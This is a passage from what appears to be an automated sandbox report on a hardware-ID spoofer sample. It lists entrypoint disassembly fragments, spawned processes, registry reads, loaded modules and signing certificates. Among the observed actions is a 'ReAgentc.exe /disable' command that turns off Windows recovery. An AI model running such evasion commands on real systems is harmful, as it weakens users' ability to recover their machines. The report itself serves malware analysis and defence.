8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x180018151,call 0x1800184b8,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x180017ffc,int3 ,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,jmp 0x18001818a,mov rcx, rbx,call 0x180020b78,test eax, eax,je 0x18001819a,mov rcx, rbx,call 0x18001d234,test rax, rax,je 0x18001817b," "psmachine_arm64.dll" file has an entrypoint instructions - "jg 0x8001bd95,add edx, ebp,push ebx,mov esi, 0xbf5a9,stc ,std ,jnp 0x8001bd3e,test eax, 0x910003fd,add eax, dword ptr [ecx],sub bh, byte ptr [edi + 6],add byte ptr [ecx - 0xc], dh,add eax, dword ptr [eax],stosb byte ptr es:[edi], al,cmc ,add eax, dword ptr [edx],stosb byte ptr es:[edi], al,inc ecx,add byte ptr [eax], al,push esp,sub byte ptr [eax], al,add byte ptr [edx - 0x1e55eafd], dl,add edx, dword ptr [ebx],sub ah, al,add edx, dword ptr [edx + ebp*4],mov bh, bh,call dword ptr [edi - 0x573e8403],cmc ,or eax, dword ptr [eax - 7],push ebx,ret 0xffa8,and eax, dword ptr [ebx],aad 0xc0,add ebx, dword ptr [edi - 0x2a],jg 0x8001bde5,add edx, ebp,nop eax,std ,jnp 0x8001bd8a,test eax, 0x910003fd,add eax, dword ptr [eax],stosb byte ptr es:[edi], al," "psuser_arm64.dll" file has an entrypoint instructions - "jg 0x8001bd95,add edx, ebp,push ebx,mov esi, 0xbf5a9,stc ,std ,jnp 0x8001bd3e,test eax, 0x910003fd,add eax, dword ptr [ecx],sub bh, byte ptr [edi + 6],add byte ptr [ecx - 0xc], dh,add eax, dword ptr [eax],stosb byte ptr es:[edi], al,cmc ,add eax, dword ptr [edx],stosb byte ptr es:[edi], al,inc ecx,add byte ptr [eax], al,push esp,sub byte ptr [eax], al,add byte ptr [edx - 0x1e55eafd], dl,add edx, dword ptr [ebx],sub ah, al,add edx, dword ptr [edx + ebp*4],mov bh, bh,call dword ptr [edi - 0x573e8403],cmc ,or eax, dword ptr [eax - 7],push ebx,ret 0xffa8,and eax, dword ptr [ebx],aad 0xc0,add ebx, dword ptr [edi - 0x2a],jg 0x8001bde5,add edx, ebp,nop eax,std ,jnp 0x8001bd8a,test eax, 0x910003fd,add eax, dword ptr [eax],stosb byte ptr es:[edi], al," "psmachine.dll" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x100126ae,call 0x10012a92,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x1001256a,add esp, 0xc,pop ebp,ret 0xc,push ebp,mov ebp, esp,jmp 0x100126d5,push dword ptr [ebp + 8],call 0x1001a777,pop ecx,test eax, eax,je 0x100126e4,push dword ptr [ebp + 8],call 0x100173d0,pop ecx,test eax, eax,je 0x100126c8,pop ebp,ret ,cmp dword ptr [ebp + 8], -1,je 0x10012c8a,jmp 0x10012c6d,push ebp,mov ebp, esp,sub esp, 0x324,push ebx,push 0x17," "psuser.dll" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x100126ae,call 0x10012a92,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x1001256a,add esp, 0xc,pop ebp,ret 0xc,push ebp,mov ebp, esp,jmp 0x100126d5,push dword ptr [ebp + 8],call 0x1001a777,pop ecx,test eax, eax,je 0x100126e4,push dword ptr [ebp + 8],call 0x100173d0,pop ecx,test eax, eax,je 0x100126c8,pop ebp,ret ,cmp dword ptr [ebp + 8], -1,je 0x10012c8a,jmp 0x10012c6d,push ebp,mov ebp, esp,sub esp, 0x324,push ebx,push 0x17," "MicrosoftEdgeUpdateCore.exe" file has an entrypoint instructions - "call 0x40de17,jmp 0x40d6d2,push ebp,mov ebp, esp,push 0,call dword ptr [0x4220f0],push dword ptr [ebp + 8],call dword ptr [0x4220ec],push 0xc0000409,call dword ptr [0x4220f4],push eax,call dword ptr [0x4220f8],pop ebp,ret ,push ebp,mov ebp, esp,sub esp, 0x324,push 0x17,call dword ptr [0x4220fc],test eax, eax,je 0x40d89c,push 2,pop ecx,int 0x29,mov dword ptr [0x43dde8], eax,mov dword ptr [0x43dde4], ecx,mov dword ptr [0x43dde0], edx,mov dword ptr [0x43dddc], ebx," "MicrosoftEdgeUpdateComRegisterShell64.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x140006658,add rsp, 0x28,jmp 0x140005c6c,int3 ,int3 ,jmp 0x140006370,int3 ,int3 ,int3 ,sub rsp, 0x28,call 0x140006c08,test eax, eax,je 0x140005e2a,mov rax, qword ptr gs:[0x30],mov rcx, qword ptr [rax + 8],jmp 0x140005e1d,cmp rcx, rax,je 0x140005e31,xor eax, eax,lock cmpxchg qword ptr [rip + 0x2e128], rcx,jne 0x140005e18,xor al, al,add rsp, 0x28,ret ,mov al, 1,jmp 0x140005e2c,int3 ,int3 ,int3 ,push rbx,sub rsp, 0x20," "MicrosoftEdgeUpdate.exe" file has an entrypoint instructions - "call 0x40bcc0,jmp 0x40b742,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,push ebp,mov ebp, esp,push esi,push dword ptr [ebp + 8],mov esi, ecx,call 0x40b950,mov dword ptr [esi], 0x40133c,mov eax, esi,pop esi,pop ebp,ret 4,and dword ptr [ecx + 4], 0,mov eax, ecx,and dword ptr [ecx + 8], 0,mov dword ptr [ecx + 4], 0x401344,mov dword ptr [ecx], 0x40133c,ret ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,push ebp,mov ebp, esp,push esi,push dword ptr [ebp + 8],mov esi, ecx,call 0x40b950,mov dword ptr [esi], 0x401358," "MicrosoftEdgeComRegisterShellARM64.exe" file has an entrypoint instructions - "jg 0x40007c85,add edx, ebp,std ,jnp 0x40007c26,test eax, 0x910003fd,push edi,add dword ptr [eax], eax,xchg esp, eax," "RPZ-HWID.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x14001472c,add rsp, 0x28,jmp 0x140013ecc,int3 ,int3 ,sub rsp, 0x28,mov r8, qword ptr [r9 + 0x38],mov rcx, rdx,mov rdx, r9,call 0x140014084,mov eax, 1,add rsp, 0x28,ret ,int3 ,int3 ,int3 ,push rbx,mov r11d, dword ptr [r8],mov rbx, rdx,and r11d, 0xfffffff8,mov r9, rcx,test byte ptr [r8], 4,mov r10, rcx,je 0x1400140af,mov eax, dword ptr [r8 + 8],movsxd r10, dword ptr [r8 + 4],neg eax,add r10, rcx,movsxd rcx, eax,and r10, rcx,movsxd rax, r11d," "MicrosoftEdgeUpdateBroker.exe" file has an entrypoint instructions - "call 0x401771,jmp 0x401332,cmp ecx, dword ptr [0x413010],jne 0x4014c3,ret ,jmp 0x401b1d,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,ret 0,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],push esi,mov ecx, dword ptr [eax + 0x3c],add ecx, eax,movzx eax, word ptr [ecx + 0x14],lea edx, [ecx + 0x18],add edx, eax,movzx eax, word ptr [ecx + 6],imul esi, eax, 0x28,add esi, edx,cmp edx, esi,je 0x40150e,mov ecx, dword ptr [ebp + 0xc],cmp ecx, dword ptr [edx + 0xc],jb 0x401507,mov eax, dword ptr [edx + 8],add eax, dword ptr [edx + 0xc],cmp ecx, eax,jb 0x401513,add edx, 0x28,cmp edx, esi,jne 0x4014f8,xor eax, eax,pop esi,pop ebp,ret ," "MicrosoftEdgeUpdateOnDemand.exe" file has an entrypoint instructions - "call 0x401771,jmp 0x401332,cmp ecx, dword ptr [0x413010],jne 0x4014c3,ret ,jmp 0x401b1d,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,ret 0,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],push esi,mov ecx, dword ptr [eax + 0x3c],add ecx, eax,movzx eax, word ptr [ecx + 0x14],lea edx, [ecx + 0x18],add edx, eax,movzx eax, word ptr [ecx + 6],imul esi, eax, 0x28,add esi, edx,cmp edx, esi,je 0x40150e,mov ecx, dword ptr [ebp + 0xc],cmp ecx, dword ptr [edx + 0xc],jb 0x401507,mov eax, dword ptr [edx + 8],add eax, dword ptr [edx + 0xc],cmp ecx, eax,jb 0x401513,add edx, 0x28,cmp edx, esi,jne 0x4014f8,xor eax, eax,pop esi,pop ebp,ret ," "RPZ-HWID.dll" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "msedgeupdateres_el.dll" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x19001302,push dword ptr [ebp + 8],call dword ptr [0x19003000],xor eax, eax,inc eax,pop ebp,ret 0xc,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,ret 0,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,add byte ptr [eax], al,add byte ptr [eax], al," "msedgeupdateres_ml.dll" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x19001302,push dword ptr [ebp + 8],call dword ptr [0x19003000],xor eax, eax,inc eax,pop ebp,ret 0xc,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,ret 0,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,add byte ptr [eax], al,add byte ptr [eax], al,"4c:T576,Process "conhost.exe" (UID: 00000000-00004224) was launched with new environment variables: "USERDNSDOMAIN="sF27CrXottrrrdb"" Process "conhost.exe" (UID: 00000000-00004224) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "svchost.exe" (UID: 00000000-00003232) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "svchost.exe" (UID: 00000000-00003232) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "ReAgentc.exe" (UID: 00000000-00003868) was launched with modified environment variables: "PSModulePath, PATHEXT" Process "svchost.exe" (UID: 00000000-00003088) was launched with modified environment variables: "PSModulePath, PATHEXT" Process "MicrosoftEdgeWebview2Setup.exe" (UID: 00000000-00007060) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "MicrosoftEdgeWebview2Setup.exe" (UID: 00000000-00007060) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "MicrosoftEdgeUpdate.exe" (UID: 00000000-00007728) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "MicrosoftEdgeUpdate.exe" (UID: 00000000-00007728) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles"4d:T541,"SexsoldierSpoofer.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "SexsoldierSpoofer.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "SexsoldierSpoofer.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "conhost.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "conhost.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "conhost.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "conhost.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "conhost.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH") "svchost.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "svchost.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "svchost.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "svchost.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "svchost.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "svchost.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "svchost.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH")4e:T103c,Observed system executable string:"1,"fusion","GAC",01,"WinRT","NotApp",13,"System Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll",0" [Source: conhost.exe.log] Observed system executable string:"1,"fusion","GAC",01,"WinRT","NotApp",13,"System Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll",0" [Source: SexsoldierSpoofer.exe.log] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00004648-00000C2E-264084690] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00004648-00000C2B-1103129822] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00004648-00000C2B-1103166252] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00004648-00000C2B-1103200088] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00004648-00000C2B-1103309550] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00004648-00000C2B-1103345003] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00004648-00000C2B-1103366319] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll" [Source: 00000000-00004648-00000C2B-1103399013] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00004648-00000C2B-1103414385] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00004648-00000C2B-1103592187] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00004224-00000C2B-1104960403] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00004224-00000C2B-1105211777] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00004224-00000C2B-1105270166] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00004224-00000C2B-1105693942] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00004224-00000C2B-1105727844] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00004224-00000C2B-1105757008] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00004224-00000C2B-1105820426] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00004224-00000C2B-1105835608] Observed system executable string:"%WINDIR%\system32\en-US\tzres.dll.mui" [Source: 00000000-00004224-00000C2B-1106164812] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00004224-00000C2B-1106245128] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00002136-00000C2B-1119163876] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00002136-00000C2B-1119370758] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00002136-00000C2B-1119701370]4f:T98d,Spawned process "conhost.exe" (UID: 00000000-00004224) Spawned process "RPZ-HWID.exe" (UID: 00000000-00007748) Spawned process "svchost.exe" (UID: 00000000-00004952) Spawned process "svchost.exe" (UID: 00000000-00003232) Spawned process "ONENOTEM.EXE" (UID: 00000000-00005500) Spawned process "powershell.exe" (UID: 00000000-00002136) Spawned process "ONENOTEM.EXE" with commandline "-" (UID: 00000000-00004272) Spawned process "ONENOTEM.EXE" with commandline "-" (UID: 00000000-00008188) Spawned process "ReAgentc.exe" with commandline "/disable" (UID: 00000000-00003868) Spawned process "svchost.exe" (UID: 00000000-00003088) Spawned process "MicrosoftEdgeWebview2Setup.exe" with commandline "/silent /install" (UID: 00000000-00007060) Spawned process "MicrosoftEdgeUpdate.exe" with commandline "/silent /install "appguid={F3017226-FE2A-4295-8BDF-00C3A9A7E4C5} ..." (UID: 00000000-00007728), Spawned process "MicrosoftEdgeUpdate.exe" with commandline "/regsvc" (UID: 00000000-00007992), Spawned process "MicrosoftEdgeUpdate.exe" with commandline "/regserver" (UID: 00000000-00005096), Spawned process "MicrosoftEdgeUpdateComRegisterShell64.exe" (UID: 00000000-00006152), Spawned process "MicrosoftEdgeUpdateComRegisterShell64.exe" (UID: 00000000-00001176), Spawned process "MicrosoftEdgeUpdateComRegisterShell64.exe" (UID: 00000000-00005284), Spawned process "MicrosoftEdgeUpdate.exe" with commandline "/ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdW ..." (UID: 00000000-00007636), Spawned process "MicrosoftEdgeUpdate.exe" with commandline "/handoff "appguid={F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}&appname ..." (UID: 00000000-00007592) Spawned process "MicrosoftEdgeUpdate.exe" with commandline "/svc" (UID: 00000000-00003976) Spawned process "MicrosoftEdgeUpdate.exe" with commandline "/ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdW ..." (UID: 00000000-00002764) Spawned process "msedge.exe" with commandline "--profile-directory=Default" (UID: 00000000-00002408) Spawned process "msedge.exe" with commandline "--type=crashpad-handler "--user-data-dir=%LOCALAPPDATA%\\Microso ..." (UID: 00000000-00005984), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=network.mojom.NetworkService - ..." (UID: 00000000-00003404), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=storage.mojom.StorageService - ..." (UID: 00000000-00003800)50:T98d,Spawned process "conhost.exe" (UID: 00000000-00004224) Spawned process "RPZ-HWID.exe" (UID: 00000000-00007748) Spawned process "svchost.exe" (UID: 00000000-00004952) Spawned process "svchost.exe" (UID: 00000000-00003232) Spawned process "ONENOTEM.EXE" (UID: 00000000-00005500) Spawned process "powershell.exe" (UID: 00000000-00002136) Spawned process "ONENOTEM.EXE" with commandline "-" (UID: 00000000-00004272) Spawned process "ONENOTEM.EXE" with commandline "-" (UID: 00000000-00008188) Spawned process "ReAgentc.exe" with commandline "/disable" (UID: 00000000-00003868) Spawned process "svchost.exe" (UID: 00000000-00003088) Spawned process "MicrosoftEdgeWebview2Setup.exe" with commandline "/silent /install" (UID: 00000000-00007060) Spawned process "MicrosoftEdgeUpdate.exe" with commandline "/silent /install "appguid={F3017226-FE2A-4295-8BDF-00C3A9A7E4C5} ..." (UID: 00000000-00007728), Spawned process "MicrosoftEdgeUpdate.exe" with commandline "/regsvc" (UID: 00000000-00007992), Spawned process "MicrosoftEdgeUpdate.exe" with commandline "/regserver" (UID: 00000000-00005096), Spawned process "MicrosoftEdgeUpdateComRegisterShell64.exe" (UID: 00000000-00006152), Spawned process "MicrosoftEdgeUpdateComRegisterShell64.exe" (UID: 00000000-00001176), Spawned process "MicrosoftEdgeUpdateComRegisterShell64.exe" (UID: 00000000-00005284), Spawned process "MicrosoftEdgeUpdate.exe" with commandline "/ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdW ..." (UID: 00000000-00007636), Spawned process "MicrosoftEdgeUpdate.exe" with commandline "/handoff "appguid={F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}&appname ..." (UID: 00000000-00007592) Spawned process "MicrosoftEdgeUpdate.exe" with commandline "/svc" (UID: 00000000-00003976) Spawned process "MicrosoftEdgeUpdate.exe" with commandline "/ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdW ..." (UID: 00000000-00002764) Spawned process "msedge.exe" with commandline "--profile-directory=Default" (UID: 00000000-00002408) Spawned process "msedge.exe" with commandline "--type=crashpad-handler "--user-data-dir=%LOCALAPPDATA%\\Microso ..." (UID: 00000000-00005984), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=network.mojom.NetworkService - ..." (UID: 00000000-00003404), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=storage.mojom.StorageService - ..." (UID: 00000000-00003800)51:T12d2,The input sample is signed with a certificate issued by "CN=WR2, O=Google Trust Services, C=US" (SHA1: 36:D5:2A:50:8C:E8:14:3D:3A:C7:62:5B:1D:B2:9E:66:95:40:EC:F0; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R1, O=Google Trust Services LLC, C=US" (SHA1: 66:E4:16:12:60:B1:00:FE:E0:DE:28:7A:9A:52:93:B4:C2:22:4A:E6; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 08:74:54:87:E8:91:C1:9E:30:78:C1:F2:A0:7E:45:29:50:EF:36:F6; see report for more information) The input sample is signed with a certificate issued by "CN=SSL.com SSL Intermediate CA ECC R2, O=SSL Corp, L=Houston, ST=Texas, C=US" (SHA1: F8:86:35:01:72:60:D4:0B:9E:B4:17:BE:E7:37:37:91:1B:63:0E:59; see report for more information) The input sample is signed with a certificate issued by "CN=SSL.com Root Certification Authority ECC, O=SSL Corporation, L=Houston, ST=Texas, C=US" (SHA1: 92:19:61:2E:90:1C:49:04:F9:83:5E:E8:C2:AD:D5:4F:F0:B7:97:FD; see report for more information) The input sample is signed with a certificate issued by "CN=Microsoft TLS G2 ECC CA OCSP 02, O=Microsoft Corporation, C=US" (SHA1: A6:C8:B1:18:C0:60:D3:F0:04:B0:D4:F0:4B:C2:0D:A6:7E:6C:0A:01; see report for more information) The input sample is signed with a certificate issued by "CN=Microsoft TLS ECC Root G2, O=Microsoft Corporation, C=US" (SHA1: 33:6D:3E:54:51:31:52:94:F6:E1:E7:CF:DA:84:E5:1C:8B:1E:40:54; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Global Root G3, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: 7F:A0:5A:CF:9B:4A:AB:B0:DE:0C:FA:FA:29:7D:DF:92:FD:C5:F3:F5; see report for more information) The input sample is signed with a certificate issued by "CN=Microsoft TLS G2 RSA CA OCSP 16, O=Microsoft Corporation, C=US" (SHA1: 3F:A5:DB:F5:A0:B7:6B:D9:66:09:AC:39:9F:92:26:0A:AB:38:28:45; see report for more information) The input sample is signed with a certificate issued by "CN=Microsoft TLS RSA Root G2, O=Microsoft Corporation, C=US" (SHA1: 27:E6:66:32:99:D3:40:DF:E5:45:71:CE:CC:EC:01:BE:74:49:5D:C6; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: B5:EE:89:E7:73:26:AB:2B:F1:77:5B:D9:9C:19:A2:89:47:FF:81:84; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: DF:3C:24:F9:BF:D6:66:76:1B:26:80:73:FE:06:D1:CC:8D:4F:82:A4; see report for more information) The input sample is signed with a certificate issued by "CN=Sectigo Public Server Authentication CA DV R36, O=Sectigo Limited, C=GB" (SHA1: 3C:4A:8B:66:43:0E:DD:E6:B6:F0:3F:D4:31:E0:1A:5E:30:FC:E5:40; see report for more information) The input sample is signed with a certificate issued by "CN=Sectigo Public Server Authentication Root R46, O=Sectigo Limited, C=GB" (SHA1: DD:55:B4:52:02:91:E2:76:58:8F:0D:D0:2F:AF:D8:3A:73:68:E0:FA; see report for more information) The input sample is signed with a certificate issued by "CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US" (SHA1: 2B:18:94:7A:6A:9F:C7:76:4F:D8:B5:FB:18:A8:63:B0:C6:DA:C2:4F; see report for more information) The input sample is signed with a certificate issued by "CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB" (SHA1: D8:9E:3B:D4:3D:5D:90:9B:47:A1:89:77:AA:9D:5C:E3:6C:EE:18:4C; see report for more information) The input sample is signed with a certificate issued by "CN=GeoTrust TLS ECC CA G1, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: C6:A7:9F:4F:A3:32:C1:3F:51:DB:C6:1F:5D:2B:37:2F:71:ED:6B:69; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Global Root G3, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: BF:E7:BA:21:A2:FA:56:71:9B:61:F6:4E:E1:B2:69:D0:B8:0B:44:E5; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Global G2 TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US" (SHA1: CF:FC:6D:99:53:8F:48:74:B7:19:09:06:FB:96:BA:BD:BF:3A:A6:A2; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: 1B:51:1A:BE:AD:59:C6:CE:20:70:77:C0:BF:0E:00:43:B1:38:26:12; see report for more information) The input sample is signed with a certificate issued by "CN=Microsoft TLS G2 RSA CA OCSP 16, O=Microsoft Corporation, C=US" (SHA1: 57:F7:21:46:6E:7D:2C:E1:F5:D1:4E:51:B3:65:B4:23:DF:D6:2E:B8; see report for more information)52:T47c,"Sexsoldier Spoofer.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "lsass.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "msedgeupdate.dll" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "MicrosoftEdgeWebview2Setup.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "psmachine.dll" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "psuser.dll" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "MicrosoftEdgeUpdateCore.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "MicrosoftEdgeUpdate.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "MicrosoftEdgeUpdateBroker.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "MicrosoftEdgeUpdateOnDemand.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "RPZ-HWID.dll" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE 